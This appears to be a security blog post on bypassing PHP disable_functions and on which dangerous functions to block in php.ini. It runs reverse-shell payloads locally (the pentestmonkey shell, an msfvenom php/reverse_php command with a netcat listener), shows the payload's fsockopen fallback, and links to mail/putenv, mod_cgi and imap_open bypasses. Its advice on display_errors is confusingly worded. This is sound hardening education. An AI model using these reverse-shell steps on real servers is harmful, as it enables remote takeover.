Dangerous PHP Functions

I have seen some blog posts regarding the “Bypassing Disable_Functions in PHP” and I decided to dig some more to better understand all of the bypasses around and also focus on how to disable dangerous php functions.

Here is the quick summary what you can do with php functions.

system : immediately shows all output, and is used to show text

passthru: returns output immediately, but is used for binary data and  is used for returning binary data instead of ascii.

shell_exec returns the full output of the command, when the command finished running.

exec: only returns the last line of the generated output.

Imagine that you found a file upload or Remote File Inclusion vulnerability where you can upload/request your php-reverse-shell and get a quick shell. However, it may be possible that administrator disabled all of the above php functions so let’s see these 4 dangerous php functions in action first before we jump to the other functions.

System

[email protected]:~# cat system.php
<?php
system("whoami");
?>
[email protected]:~#
[email protected]:~# php system.php
root
[email protected]:~#

Shell_exec

[email protected]:~# cat shell_exec.php
<?php
echo shell_exec("whoami");
?>
[email protected]:~# php shell_exec.php
root
[email protected]:~#

Exec

[email protected]:~# cat exec.php
<?php
echo exec("whoami");
?>
[email protected]:~# php exec.php
root
[email protected]:~#

Passthru

[email protected]:~# cat pasthru.php
<?php
passthru("whoami");
?>
[email protected]:~# php pasthru.php
root
[email protected]:~#

Nice! We can run OS commands and get the output of the command. So what happens if we disable all of these 4 functions ? Disable dangerous php functions above from php.ini file under /etc/php/7.2/cli/php.ini and set display_errors to On.

If you are performing this exercise via your apache, you may need to disable them on /etc/php/7.2/apache2/php.ini . Let’s run the same php files again.

[email protected]:~# php pasthru.php
PHP Warning:  passthru() has been disabled for security reasons in /root/pasthru.php on line 2

Warning: passthru() has been disabled for security reasons in /root/pasthru.php on line 2
[email protected]:~#

Please also note that we are receiving this error due to Display_errors= On feature. You can enable this feature on production environment but you need to disable it on live environment.

PHP-Reverse-Shell Pentestmonkey

We all know famous php-reverse-shell for linux from pentest-monkey: https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

We can try to get a shell with the reverse shell above as it uses proc_open function.

root@kali:/usr/share/webshells/php# PHP Notice:  Undefined variable: daemon in /usr/share/webshells/php/php-reverse-shell.php on line 184

Notice: Undefined variable: daemon in /usr/share/webshells/php/php-reverse-shell.php on line 184
Successfully opened reverse shell to 127.0.0.1:1234

Listening the shell. We got the root shell

 root@kali:/usr/share/webshells/php# nc -lvp 1234
listening on [any] 1234 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 49308
Linux kali 4.17.0-kali1-686 #1 SMP Debian 4.17.8-1kali1 (2018-07-24) i686 GNU/Linux
 15:08:16 up 1 day,  1:59,  1 user,  load average: 0.08, 0.10, 0.09
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
root     :1       :1               07:23   ?xdm?   1:39   0.01s /usr/lib/gdm3/gdm-x-session --run-script gnome-session
uid=0(root) gid=0(root) groups=0(root)
/bin/sh: 0: can't access tty; job control turned off
#

Proc_open

Disable proc_open function as well.

root@kali:/usr/share/webshells/php# php php-reverse-shell.php
PHP Notice:  Undefined variable: pipes in /usr/share/webshells/php/php-reverse-shell.php on line 113

Notice: Undefined variable: pipes in /usr/share/webshells/php/php-reverse-shell.php on line 113
PHP Warning:  proc_open() has been disabled for security reasons in /usr/share/webshells/php/php-reverse-shell.php on line 113

Warning: proc_open() has been disabled for security reasons in /usr/share/webshells/php/php-reverse-shell.php on line 113
PHP Notice:  Undefined variable: daemon in /usr/share/webshells/php/php-reverse-shell.php on line 184

Notice: Undefined variable: daemon in /usr/share/webshells/php/php-reverse-shell.php on line 184
ERROR: Can't spawn shell
[email protected]:/usr/share/webshells/php#

Msfvenom PHP Shell

We can’t get a shell now. Let’s create a msfvenom php shell.

root@kali:/usr/share/webshells/php# msfvenom -p php/reverse_php LHOST=127.0.0.1 LPORT=443 -f raw > shell.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 3046 bytes
root@kali:/usr/share/webshells/php#
root@kali:/usr/share/webshells/php# php shell.php
    /*^
We can get a shell. How possible ?
root@kali:/usr/share/webshells/php# nc -lvp 443
listening on [any] 443 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 43828
id
uid=0(root) gid=0(root) groups=0(root)

So we disabled bunch of dangerous php functions but we can still get a shell. We can go through the php code now:

if($rRMZDi('shell_exec')and!$WzjhDqn('shell_exec',$dis)){

  ...SNIP...
      }else
      if($rRMZDi('passthru')and!$WzjhDqn('passthru',$dis)){

 ...SNIP...

      }else
      if($rRMZDi('popen')and!$WzjhDqn('popen',$dis)){
   
 ...SNIP...

      }else
      if($rRMZDi('exec')and!$WzjhDqn('exec',$dis)){

     ...SNIP...

      }else
      if($rRMZDi('system')and!$WzjhDqn('system',$dis)){

 ...SNIP...

      }else
      if($rRMZDi('proc_open')and!$WzjhDqn('proc_open',$dis)){
        $handle=proc_open($c,array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);

 ...SNIP...

It looks interesting. We can see shell_exec, passthru, popen, exec, system and proc_open functions in the code from msfvenom. Let’s compare again these functions to our disable_function in php.ini . Popen seems interesting.

root@kali:/usr/share/webshells/php# cat /etc/php/7.2/cli/php.ini | grep disable_functions
disable_functions = shell_exec,passthru,exec,system,proc_open
root@kali:/usr/share/webshells/php#

Popen

After disabling popen, I would be able to still get a shell and i noticed another line from the shell.php which is below:

 $nofuncs='no exec functions';
    if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){
      $s=@fsockopen("tcp://127.0.0.1",$port);
      while($c=fread($s,2048)){
     ...SNIP...
}else{
      $s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
      @socket_connect($s,$ipaddr,$port);
      @socket_write($s,"socket_create");
     ...SNIP...

Fsockopen and Socket_create

If no exec functions enabled, it uses fsockopen. I disabled fsockopen, socket_create as well as a result, I can’t get a shell now with shell.

Mail() and Putenv()

Here is a neat method which abuses of the mail() and putenv() functionality: https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/

You can download Chankro tool from the github and test it as well. It will work smoothly to bypass the disable_functions. In order to block this method, you also need to disable putenv() function.

Mod_cgi

Another method with mod_cgi: https://web.archive.org/web/20160708143917/https://blog.asdizzle.com/index.php/2016/05/02/getting-shell-access-with-php-system-functions-disabled/

Imap_open()

One of the latest bypassing disable_functions is using imap_open function. It looks really similar to mail() and putenv() bypass . Here you can find great explanation here: https://lab.wallarm.com/rce-in-php-or-how-to-bypass-disable-functions-in-php-installations-6ccdbf4f52bb

In order to prevent imap_open bypass, you need to set imap.enable_insecure_rsh to 0. It is 0 as default but if you are in the test environment and want to play with the vulnerability, you can set it to 1 and see the behavior with strace tool in Linux.

Leave a Comment